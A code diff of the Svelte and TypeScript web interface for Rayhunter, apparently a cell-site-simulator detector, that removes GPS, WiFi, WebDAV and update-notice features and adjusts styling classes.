fill="#0F1729"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
|
||||||
|
<pre class="m-2">{content}</pre>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</Modal>
|
{/if}
|
||||||
|
|||||||
@@ -44,7 +44,7 @@
|
|||||||
</script>
|
</script>
|
||||||
|
|
||||||
<div
|
<div
|
||||||
class="{status_row_color} {status_border_color} drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
|
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
|
||||||
>
|
>
|
||||||
{#if current}
|
{#if current}
|
||||||
<div class="flex flex-row justify-between gap-2">
|
<div class="flex flex-row justify-between gap-2">
|
||||||
@@ -82,7 +82,7 @@
|
|||||||
>
|
>
|
||||||
</div>
|
</div>
|
||||||
{#if entry.stop_reason}
|
{#if entry.stop_reason}
|
||||||
<div class="bg-yellow-50 border border-yellow-300 rounded-sm p-2 text-yellow-800 text-sm">
|
<div class="bg-yellow-50 border border-yellow-300 rounded p-2 text-yellow-800 text-sm">
|
||||||
{entry.stop_reason}
|
{entry.stop_reason}
|
||||||
</div>
|
</div>
|
||||||
{/if}
|
{/if}
|
||||||
@@ -100,7 +100,7 @@
|
|||||||
/>
|
/>
|
||||||
{/if}
|
{/if}
|
||||||
</div>
|
</div>
|
||||||
<div class="border-b border-gray-200 {analysis_visible ? '' : 'hidden'}">
|
<div class="border-b {analysis_visible ? '' : 'hidden'}">
|
||||||
<AnalysisView {entry} {manager} {current} />
|
<AnalysisView {entry} {manager} {current} />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -16,7 +16,7 @@
|
|||||||
{#if $screenIsLgUp}
|
{#if $screenIsLgUp}
|
||||||
<table class="table-auto text-left table">
|
<table class="table-auto text-left table">
|
||||||
<thead>
|
<thead>
|
||||||
<tr class="bg-gray-100 drop-shadow-sm">
|
<tr class="bg-gray-100 drop-shadow">
|
||||||
<th class="p-2" scope="col">ID</th>
|
<th class="p-2" scope="col">ID</th>
|
||||||
<th class="p-2" scope="col">Started</th>
|
<th class="p-2" scope="col">Started</th>
|
||||||
<th class="p-2" scope="col">Last Message</th>
|
<th class="p-2" scope="col">Last Message</th>
|
||||||
|
|||||||
@@ -36,7 +36,7 @@
|
|||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<tr class="{status_row_color} drop-shadow-sm">
|
<tr class="{status_row_color} drop-shadow">
|
||||||
<td class="p-2">{entry.name}</td>
|
<td class="p-2">{entry.name}</td>
|
||||||
<td class="p-2">{date_formatter.format(entry.start_time)}</td>
|
<td class="p-2">{date_formatter.format(entry.start_time)}</td>
|
||||||
<td class="p-2"
|
<td class="p-2"
|
||||||
@@ -65,8 +65,8 @@
|
|||||||
</td>
|
</td>
|
||||||
{/if}
|
{/if}
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="{alternating_row_color} border-b border-gray-200 {analysis_visible ? '' : 'hidden'}">
|
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
|
||||||
<td class="border-t border-gray-200 border-dashed p-2" colspan="9">
|
<td class="border-t border-dashed p-2" colspan="9">
|
||||||
<AnalysisView {entry} {manager} {current} />
|
<AnalysisView {entry} {manager} {current} />
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
|
|||||||
@@ -1,64 +0,0 @@
|
|||||||
<script lang="ts">
|
|
||||||
import type { Snippet } from 'svelte';
|
|
||||||
import { onMount } from 'svelte';
|
|
||||||
|
|
||||||
let {
|
|
||||||
shown = $bindable(),
|
|
||||||
title,
|
|
||||||
children,
|
|
||||||
}: { shown: boolean; title: string; children: Snippet } = $props();
|
|
||||||
|
|
||||||
onMount(() => {
|
|
||||||
const handler = () => {
|
|
||||||
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
|
|
||||||
};
|
|
||||||
window.addEventListener('scroll', handler);
|
|
||||||
return () => window.removeEventListener('scroll', handler);
|
|
||||||
});
|
|
||||||
|
|
||||||
$effect(() => {
|
|
||||||
if (shown) {
|
|
||||||
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
|
|
||||||
const body = document.body;
|
|
||||||
body.style.position = 'fixed';
|
|
||||||
body.style.top = `-${scrollY}`;
|
|
||||||
} else {
|
|
||||||
const body = document.body;
|
|
||||||
const scrollY = body.style.top;
|
|
||||||
body.style.position = '';
|
|
||||||
body.style.top = '';
|
|
||||||
window.scrollTo(0, parseInt(scrollY || '0') * -1);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
{#if shown}
|
|
||||||
<div
|
|
||||||
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
|
|
||||||
flex flex-col p-2 drop-shadow-sm"
|
|
||||||
>
|
|
||||||
<div class="flex justify-between items-center p-1">
|
|
||||||
<span class="text-2xl">{title}</span>
|
|
||||||
<button onclick={() => (shown = false)} aria-label="close">
|
|
||||||
<svg
|
|
||||||
xmlns="http://www.w3.org/2000/svg"
|
|
||||||
aria-hidden="true"
|
|
||||||
width="24"
|
|
||||||
height="24"
|
|
||||||
fill="currentColor"
|
|
||||||
viewBox="0 0 24 24"
|
|
||||||
>
|
|
||||||
<path
|
|
||||||
fill-rule="evenodd"
|
|
||||||
clip-rule="evenodd"
|
|
||||||
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
|
|
||||||
fill="#0F1729"
|
|
||||||
/>
|
|
||||||
</svg>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
<div class="overflow-y-auto flex-1">
|
|
||||||
{@render children()}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
{/if}
|
|
||||||
@@ -1,16 +1,13 @@
|
|||||||
<script lang="ts">
|
<script lang="ts">
|
||||||
import { type SystemStats } from '$lib/systemStats';
|
import { type SystemStats } from '$lib/systemStats';
|
||||||
import { gps_mode_label, GpsMode, type GpsData } from '$lib/utils.svelte';
|
|
||||||
let {
|
let {
|
||||||
stats,
|
stats,
|
||||||
gps_data = null,
|
|
||||||
gps_mode = GpsMode.Disabled,
|
|
||||||
}: {
|
}: {
|
||||||
stats: SystemStats;
|
stats: SystemStats;
|
||||||
gps_data?: GpsData | null;
|
|
||||||
gps_mode?: GpsMode;
|
|
||||||
} = $props();
|
} = $props();
|
||||||
|
|
||||||
|
const table_cell_classes = 'border p-1 lg:p-2';
|
||||||
|
|
||||||
let battery_level = $derived(stats.battery_status ? stats.battery_status.level : 0);
|
let battery_level = $derived(stats.battery_status ? stats.battery_status.level : 0);
|
||||||
let bar_color = $derived.by(() => {
|
let bar_color = $derived.by(() => {
|
||||||
if (stats.battery_status === undefined) {
|
if (stats.battery_status === undefined) {
|
||||||
@@ -39,31 +36,31 @@
|
|||||||
</script>
|
</script>
|
||||||
|
|
||||||
<div
|
<div
|
||||||
class="flex-1 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100"
|
class="flex-1 drop-shadow p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100"
|
||||||
>
|
>
|
||||||
<p class="text-xl mb-2">System Information</p>
|
<p class="text-xl mb-2">System Information</p>
|
||||||
<table class="text-sm w-full">
|
<table class="table-auto border">
|
||||||
<tbody>
|
<tbody>
|
||||||
<tr class="border-b border-gray-200">
|
<tr class="border">
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">Rayhunter Version</td>
|
<th class={table_cell_classes}> Rayhunter Version </th>
|
||||||
<td class="py-1">{stats.runtime_metadata.rayhunter_version}</td>
|
<td class={table_cell_classes}>{stats.runtime_metadata.rayhunter_version}</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="border-b border-gray-200">
|
<tr class="border">
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">Storage</td>
|
<th class={table_cell_classes}> Storage </th>
|
||||||
<td class="py-1">
|
<td class={table_cell_classes}>
|
||||||
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} used / {stats
|
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} used / {stats
|
||||||
.disk_stats.available_size} available)
|
.disk_stats.available_size} available)
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="border-b border-gray-200">
|
<tr class="border-b">
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">Memory (RAM)</td>
|
<th class={table_cell_classes}> Memory (RAM) </th>
|
||||||
<td class="py-1">
|
<td class={table_cell_classes}>
|
||||||
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
|
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class={gps_mode !== GpsMode.Disabled ? 'border-b border-gray-200' : ''}>
|
<tr class="border-b">
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">Battery</td>
|
<th class={table_cell_classes}> Battery </th>
|
||||||
<td class="py-1">
|
<td class={table_cell_classes}>
|
||||||
<svg
|
<svg
|
||||||
width="80"
|
width="80"
|
||||||
height="30"
|
height="30"
|
||||||
@@ -73,6 +70,7 @@
|
|||||||
class="battery-icon"
|
class="battery-icon"
|
||||||
>
|
>
|
||||||
<title>{title_text}</title>
|
<title>{title_text}</title>
|
||||||
|
<!-- Battery body -->
|
||||||
<rect
|
<rect
|
||||||
class="fill-none stroke-neutral-800 stroke-2"
|
class="fill-none stroke-neutral-800 stroke-2"
|
||||||
width="70"
|
width="70"
|
||||||
@@ -80,6 +78,7 @@
|
|||||||
rx="3"
|
rx="3"
|
||||||
ry="3"
|
ry="3"
|
||||||
/>
|
/>
|
||||||
|
<!-- Battery terminal -->
|
||||||
<rect
|
<rect
|
||||||
class="fill-neutral-800"
|
class="fill-neutral-800"
|
||||||
x="70"
|
x="70"
|
||||||
@@ -89,6 +88,7 @@
|
|||||||
rx="2"
|
rx="2"
|
||||||
ry="2"
|
ry="2"
|
||||||
/>
|
/>
|
||||||
|
<!-- Battery charge bar -->
|
||||||
<rect
|
<rect
|
||||||
class={bar_color}
|
class={bar_color}
|
||||||
x="2"
|
x="2"
|
||||||
@@ -99,12 +99,14 @@
|
|||||||
style="width: {battery_level * 0.66}px;"
|
style="width: {battery_level * 0.66}px;"
|
||||||
/>
|
/>
|
||||||
{#if stats.battery_status && stats.battery_status.is_plugged_in}
|
{#if stats.battery_status && stats.battery_status.is_plugged_in}
|
||||||
|
<!-- Lightning bolt icon -->
|
||||||
<path
|
<path
|
||||||
class="fill-yellow-300 stroke-neutral-800 stroke-1"
|
class="fill-yellow-300 stroke-neutral-800 stroke-1"
|
||||||
d="M38 3 L28 17 L34 17 L30 27 L40 13 L34 13 Z"
|
d="M38 3 L28 17 L34 17 L30 27 L40 13 L34 13 Z"
|
||||||
/>
|
/>
|
||||||
{/if}
|
{/if}
|
||||||
{#if !stats.battery_status}
|
{#if !stats.battery_status}
|
||||||
|
<!-- Question mark icon -->
|
||||||
<text
|
<text
|
||||||
class="fill-neutral-500 text-[20px] font-bold [text-anchor:middle] [dominant-baseline:central]"
|
class="fill-neutral-500 text-[20px] font-bold [text-anchor:middle] [dominant-baseline:central]"
|
||||||
x="35"
|
x="35"
|
||||||
@@ -114,27 +116,6 @@
|
|||||||
</svg>
|
</svg>
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
{#if gps_mode !== GpsMode.Disabled}
|
|
||||||
<tr class="border-b border-gray-200">
|
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">GPS Mode</td>
|
|
||||||
<td class="py-1">{gps_mode_label(gps_mode)}</td>
|
|
||||||
</tr>
|
|
||||||
{#if gps_data}
|
|
||||||
<tr class="border-b border-gray-200">
|
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">Latitude</td>
|
|
||||||
<td class="py-1 font-mono">{gps_data.latitude.toFixed(6)}</td>
|
|
||||||
</tr>
|
|
||||||
<tr>
|
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">Longitude</td>
|
|
||||||
<td class="py-1 font-mono">{gps_data.longitude.toFixed(6)}</td>
|
|
||||||
</tr>
|
|
||||||
{:else}
|
|
||||||
<tr>
|
|
||||||
<td class="py-1 pr-4 text-gray-500 font-medium">GPS Data</td>
|
|
||||||
<td class="py-1 text-gray-400">Awaiting GPS data...</td>
|
|
||||||
</tr>
|
|
||||||
{/if}
|
|
||||||
{/if}
|
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -1,50 +0,0 @@
|
|||||||
<script lang="ts">
|
|
||||||
import type { UpdateStatus } from '$lib/utils.svelte';
|
|
||||||
|
|
||||||
let { status = null }: { status: UpdateStatus | null } = $props();
|
|
||||||
|
|
||||||
let is_visible = $derived(
|
|
||||||
Boolean(status?.update_available && status.latest_version && status.latest_release_url)
|
|
||||||
);
|
|
||||||
</script>
|
|
||||||
|
|
||||||
{#if is_visible && status}
|
|
||||||
<div class="bg-sky-100 border-sky-300 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md">
|
|
||||||
<span class="text-xl font-bold flex flex-row items-center gap-2 text-sky-800">
|
|
||||||
<svg
|
|
||||||
class="w-6 h-6 text-sky-700"
|
|
||||||
aria-hidden="true"
|
|
||||||
xmlns="http://www.w3.org/2000/svg"
|
|
||||||
width="24"
|
|
||||||
height="24"
|
|
||||||
fill="currentColor"
|
|
||||||
viewBox="0 0 24 24"
|
|
||||||
>
|
|
||||||
<path
|
|
||||||
fill-rule="evenodd"
|
|
||||||
d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v5a1 1 0 1 0 2 0V8Zm-1 7a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2H12Z"
|
|
||||||
clip-rule="evenodd"
|
|
||||||
/>
|
|
||||||
</svg>
|
|
||||||
Software Update Available
|
|
||||||
</span>
|
|
||||||
<p>
|
|
||||||
A new version of Rayhunter is available! You are currently running version {status.current_version},
|
|
||||||
and the latest release is version {status.latest_version}.
|
|
||||||
</p>
|
|
||||||
<div class="flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between">
|
|
||||||
<span class="text-sm text-sky-900/80">
|
|
||||||
View the latest release on GitHub to see what's new and download the update.
|
|
||||||
</span>
|
|
||||||
<a
|
|
||||||
class="inline-flex items-center justify-center rounded-md bg-sky-700 px-4 py-2 text-white font-semibold hover:bg-sky-800"
|
|
||||||
href={status.latest_release_url}
|
|
||||||
target="_blank"
|
|
||||||
rel="noreferrer noopener"
|
|
||||||
aria-label="View latest release on GitHub"
|
|
||||||
>
|
|
||||||
View Release
|
|
||||||
</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
{/if}
|
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
import { get_report, type AnalysisReport } from './analysis.svelte';
|
import { get_report, type AnalysisReport } from './analysis.svelte';
|
||||||
import { AnalysisStatus, type AnalysisManager } from './analysisManager.svelte';
|
import { AnalysisStatus, type AnalysisManager } from './analysisManager.svelte';
|
||||||
import { GpsMode } from './utils.svelte';
|
|
||||||
|
|
||||||
interface JsonManifest {
|
interface JsonManifest {
|
||||||
entries: JsonManifestEntry[];
|
entries: JsonManifestEntry[];
|
||||||
@@ -13,8 +12,6 @@ interface JsonManifestEntry {
|
|||||||
last_message_time: string;
|
last_message_time: string;
|
||||||
qmdl_size_bytes: number;
|
qmdl_size_bytes: number;
|
||||||
stop_reason: string | null;
|
stop_reason: string | null;
|
||||||
upload_time: string | null;
|
|
||||||
gps_mode: GpsMode | null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export class Manifest {
|
export class Manifest {
|
||||||
@@ -62,8 +59,6 @@ export class ManifestEntry {
|
|||||||
public analysis_status: AnalysisStatus | undefined = $state(undefined);
|
public analysis_status: AnalysisStatus | undefined = $state(undefined);
|
||||||
public analysis_report: AnalysisReport | string | undefined = $state(undefined);
|
public analysis_report: AnalysisReport | string | undefined = $state(undefined);
|
||||||
public stop_reason: string | undefined = $state(undefined);
|
public stop_reason: string | undefined = $state(undefined);
|
||||||
public upload_time: Date | undefined = $state(undefined);
|
|
||||||
public gps_mode: GpsMode | undefined = $state(undefined);
|
|
||||||
|
|
||||||
constructor(json: JsonManifestEntry) {
|
constructor(json: JsonManifestEntry) {
|
||||||
this.name = json.name;
|
this.name = json.name;
|
||||||
@@ -75,12 +70,6 @@ export class ManifestEntry {
|
|||||||
if (json.stop_reason) {
|
if (json.stop_reason) {
|
||||||
this.stop_reason = json.stop_reason;
|
this.stop_reason = json.stop_reason;
|
||||||
}
|
}
|
||||||
if (json.upload_time) {
|
|
||||||
this.upload_time = new Date(json.upload_time);
|
|
||||||
}
|
|
||||||
if (json.gps_mode !== null) {
|
|
||||||
this.gps_mode = json.gps_mode;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
get_readable_qmdl_size(): string {
|
get_readable_qmdl_size(): string {
|
||||||
|
|||||||
@@ -19,9 +19,7 @@ export function parse_ndjson(input: string): NewlineDeliminatedJson {
|
|||||||
// however, if we've reached the end of the input, that means we
|
// however, if we've reached the end of the input, that means we
|
||||||
// were given invalid nd-json
|
// were given invalid nd-json
|
||||||
if (lines.length === 0) {
|
if (lines.length === 0) {
|
||||||
throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`, {
|
throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`);
|
||||||
cause: e,
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,79 +16,17 @@ export interface AnalyzerConfig {
|
|||||||
export enum enabled_notifications {
|
export enum enabled_notifications {
|
||||||
Warning = 'Warning',
|
Warning = 'Warning',
|
||||||
LowBattery = 'LowBattery',
|
LowBattery = 'LowBattery',
|
||||||
Update = 'Update',
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface WebdavConfig {
|
|
||||||
url: string;
|
|
||||||
username: string | null;
|
|
||||||
password: string | null;
|
|
||||||
upload_timeout_secs: number;
|
|
||||||
poll_interval_secs: number;
|
|
||||||
min_age_secs: number;
|
|
||||||
delete_on_upload: boolean;
|
|
||||||
}
|
|
||||||
|
|
||||||
export enum GpsMode {
|
|
||||||
Disabled = 0,
|
|
||||||
Fixed = 1,
|
|
||||||
Api = 2,
|
|
||||||
}
|
|
||||||
|
|
||||||
export function gps_mode_label(mode: GpsMode | undefined | null): string {
|
|
||||||
switch (mode) {
|
|
||||||
case GpsMode.Fixed:
|
|
||||||
return 'Fixed coordinates';
|
|
||||||
case GpsMode.Api:
|
|
||||||
return 'API endpoint';
|
|
||||||
default:
|
|
||||||
return 'Disabled';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface Config {
|
export interface Config {
|
||||||
device: string;
|
|
||||||
ui_level: number;
|
ui_level: number;
|
||||||
colorblind_mode: boolean;
|
colorblind_mode: boolean;
|
||||||
key_input_mode: number;
|
key_input_mode: number;
|
||||||
ntfy_url: string | null;
|
ntfy_url: string;
|
||||||
enabled_notifications: enabled_notifications[];
|
enabled_notifications: enabled_notifications[];
|
||||||
auto_check_updates: boolean;
|
|
||||||
analyzers: AnalyzerConfig;
|
analyzers: AnalyzerConfig;
|
||||||
min_space_to_start_recording_mb: number;
|
min_space_to_start_recording_mb: number;
|
||||||
min_space_to_continue_recording_mb: number;
|
min_space_to_continue_recording_mb: number;
|
||||||
wifi_ssid: string | null;
|
|
||||||
wifi_password: string | null;
|
|
||||||
wifi_security: 'wpa_psk' | 'sae' | null;
|
|
||||||
wifi_enabled: boolean;
|
|
||||||
dns_servers: string[] | null;
|
|
||||||
firewall_restrict_outbound: boolean;
|
|
||||||
firewall_allowed_ports: number[] | null;
|
|
||||||
webdav: WebdavConfig;
|
|
||||||
gps_mode: GpsMode;
|
|
||||||
gps_fixed_latitude: number | null;
|
|
||||||
gps_fixed_longitude: number | null;
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface WifiStatus {
|
|
||||||
state: string;
|
|
||||||
ssid?: string;
|
|
||||||
ip?: string;
|
|
||||||
error?: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface WifiNetwork {
|
|
||||||
ssid: string;
|
|
||||||
signal_dbm: number;
|
|
||||||
security: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function get_wifi_status(): Promise<WifiStatus> {
|
|
||||||
return JSON.parse(await req('GET', '/api/wifi-status'));
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function scan_wifi_networks(): Promise<WifiNetwork[]> {
|
|
||||||
return JSON.parse(await req('POST', '/api/wifi-scan'));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export async function req(method: string, url: string, json_body?: unknown): Promise<string> {
|
export async function req(method: string, url: string, json_body?: unknown): Promise<string> {
|
||||||
@@ -172,37 +110,6 @@ export interface TimeResponse {
|
|||||||
offset_seconds: number;
|
offset_seconds: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface UpdateStatus {
|
|
||||||
current_version: string;
|
|
||||||
latest_version?: string | null;
|
|
||||||
latest_release_url?: string | null;
|
|
||||||
update_available: boolean;
|
|
||||||
last_checked?: string | null;
|
|
||||||
last_error?: string | null;
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function get_daemon_time(): Promise<TimeResponse> {
|
export async function get_daemon_time(): Promise<TimeResponse> {
|
||||||
return JSON.parse(await req('GET', '/api/time'));
|
return JSON.parse(await req('GET', '/api/time'));
|
||||||
}
|
}
|
||||||
|
|
||||||
export async function get_update_status(): Promise<UpdateStatus> {
|
|
||||||
return JSON.parse(await req('GET', '/api/update-status'));
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface GpsData {
|
|
||||||
latitude: number;
|
|
||||||
longitude: number;
|
|
||||||
/** Unix timestamp in seconds (0 = fixed/no real time). */
|
|
||||||
timestamp: number;
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function get_gps(): Promise<GpsData | null> {
|
|
||||||
const response = await fetch('/api/gps', { cache: 'no-store' });
|
|
||||||
if (response.status === 404) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
if (response.status >= 200 && response.status < 300) {
|
|
||||||
return response.json();
|
|
||||||
}
|
|
||||||
throw new Error(await response.text());
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,15 +1,6 @@
|
|||||||
<script lang="ts">
|
<script lang="ts">
|
||||||
import { ManifestEntry } from '$lib/manifest.svelte';
|
import { ManifestEntry } from '$lib/manifest.svelte';
|
||||||
import {
|
import { get_manifest, get_system_stats } from '$lib/utils.svelte';
|
||||||
get_manifest,
|
|
||||||
get_system_stats,
|
|
||||||
get_update_status,
|
|
||||||
get_gps,
|
|
||||||
get_config,
|
|
||||||
GpsMode,
|
|
||||||
type UpdateStatus,
|
|
||||||
type GpsData,
|
|
||||||
} from '$lib/utils.svelte';
|
|
||||||
import ManifestTable from '$lib/components/ManifestTable.svelte';
|
import ManifestTable from '$lib/components/ManifestTable.svelte';
|
||||||
import Card from '$lib/components/ManifestCard.svelte';
|
import Card from '$lib/components/ManifestCard.svelte';
|
||||||
import type { SystemStats } from '$lib/systemStats';
|
import type { SystemStats } from '$lib/systemStats';
|
||||||
@@ -21,7 +12,6 @@
|
|||||||
import ActionErrors from '$lib/components/ActionErrors.svelte';
|
import ActionErrors from '$lib/components/ActionErrors.svelte';
|
||||||
import ClockDriftAlert from '$lib/components/ClockDriftAlert.svelte';
|
import ClockDriftAlert from '$lib/components/ClockDriftAlert.svelte';
|
||||||
import LogView from '$lib/components/LogView.svelte';
|
import LogView from '$lib/components/LogView.svelte';
|
||||||
import UpdateNotice from '$lib/components/UpdateNotice.svelte';
|
|
||||||
|
|
||||||
let manager: AnalysisManager = new AnalysisManager();
|
let manager: AnalysisManager = new AnalysisManager();
|
||||||
let loaded = $state(false);
|
let loaded = $state(false);
|
||||||
@@ -31,10 +21,6 @@
|
|||||||
let system_stats: SystemStats | undefined = $state(undefined);
|
let system_stats: SystemStats | undefined = $state(undefined);
|
||||||
let update_error: string | undefined = $state(undefined);
|
let update_error: string | undefined = $state(undefined);
|
||||||
let logview_shown: boolean = $state(false);
|
let logview_shown: boolean = $state(false);
|
||||||
let config_shown: boolean = $state(false);
|
|
||||||
let gps_data: GpsData | null = $state(null);
|
|
||||||
let gps_mode: GpsMode = $state(GpsMode.Disabled);
|
|
||||||
let update_status: UpdateStatus | null = $state(null);
|
|
||||||
$effect(() => {
|
$effect(() => {
|
||||||
const interval = setInterval(async () => {
|
const interval = setInterval(async () => {
|
||||||
try {
|
try {
|
||||||
@@ -53,16 +39,6 @@
|
|||||||
current_entry = new_manifest.current_entry;
|
current_entry = new_manifest.current_entry;
|
||||||
|
|
||||||
system_stats = await get_system_stats();
|
system_stats = await get_system_stats();
|
||||||
// Allow update status to fail
|
|
||||||
try {
|
|
||||||
update_status = await get_update_status();
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error fetching update status:', error);
|
|
||||||
update_status = null;
|
|
||||||
}
|
|
||||||
const config = await get_config();
|
|
||||||
gps_mode = config.gps_mode;
|
|
||||||
gps_data = await get_gps();
|
|
||||||
update_error = undefined;
|
update_error = undefined;
|
||||||
loaded = true;
|
loaded = true;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
@@ -79,10 +55,7 @@
|
|||||||
</script>
|
</script>
|
||||||
|
|
||||||
<LogView bind:shown={logview_shown} />
|
<LogView bind:shown={logview_shown} />
|
||||||
<ConfigForm bind:shown={config_shown} />
|
<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
|
||||||
<div
|
|
||||||
class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow-sm flex flex-row justify-between items-center"
|
|
||||||
>
|
|
||||||
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
|
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
|
||||||
<img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
|
<img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
|
||||||
<div class="flex flex-row gap-4">
|
<div class="flex flex-row gap-4">
|
||||||
@@ -130,33 +103,6 @@
|
|||||||
/>
|
/>
|
||||||
</svg>
|
</svg>
|
||||||
</button>
|
</button>
|
||||||
<button onclick={() => (config_shown = true)} class="flex flex-row gap-1 group">
|
|
||||||
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Config</span>
|
|
||||||
<svg
|
|
||||||
class="w-6 h-6 text-white group-hover:text-gray-400"
|
|
||||||
aria-hidden="true"
|
|
||||||
xmlns="http://www.w3.org/2000/svg"
|
|
||||||
width="24"
|
|
||||||
height="24"
|
|
||||||
fill="none"
|
|
||||||
viewBox="0 0 24 24"
|
|
||||||
>
|
|
||||||
<path
|
|
||||||
stroke="currentColor"
|
|
||||||
stroke-linecap="round"
|
|
||||||
stroke-linejoin="round"
|
|
||||||
stroke-width="2"
|
|
||||||
d="M21 13v-2a1 1 0 0 0-1-1h-.757l-.707-1.707.535-.536a1 1 0 0 0 0-1.414l-1.414-1.414a1 1 0 0 0-1.414 0l-.536.535L14 5.757V5a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v.757L8.293 6.464l-.536-.535a1 1 0 0 0-1.414 0L4.929 7.343a1 1 0 0 0 0 1.414l.535.536L4.757 11H4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h.757l.707 1.707-.535.536a1 1 0 0 0 0 1.414l1.414 1.414a1 1 0 0 0 1.414 0l.536-.535L10 18.243V19a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-.757l1.707-.707.536.535a1 1 0 0 0 1.414 0l1.414-1.414a1 1 0 0 0 0-1.414l-.535-.536.707-1.707H20a1 1 0 0 0 1-1Z"
|
|
||||||
/>
|
|
||||||
<path
|
|
||||||
stroke="currentColor"
|
|
||||||
stroke-linecap="round"
|
|
||||||
stroke-linejoin="round"
|
|
||||||
stroke-width="2"
|
|
||||||
d="M12 15a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z"
|
|
||||||
/>
|
|
||||||
</svg>
|
|
||||||
</button>
|
|
||||||
<div class="w-px bg-white/30 self-stretch"></div>
|
<div class="w-px bg-white/30 self-stretch"></div>
|
||||||
<a
|
<a
|
||||||
class="flex flex-row gap-1 group"
|
class="flex flex-row gap-1 group"
|
||||||
@@ -229,7 +175,7 @@
|
|||||||
<div class="m-4 xl:mx-8 flex flex-col gap-4">
|
<div class="m-4 xl:mx-8 flex flex-col gap-4">
|
||||||
{#if update_error !== undefined}
|
{#if update_error !== undefined}
|
||||||
<div
|
<div
|
||||||
class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
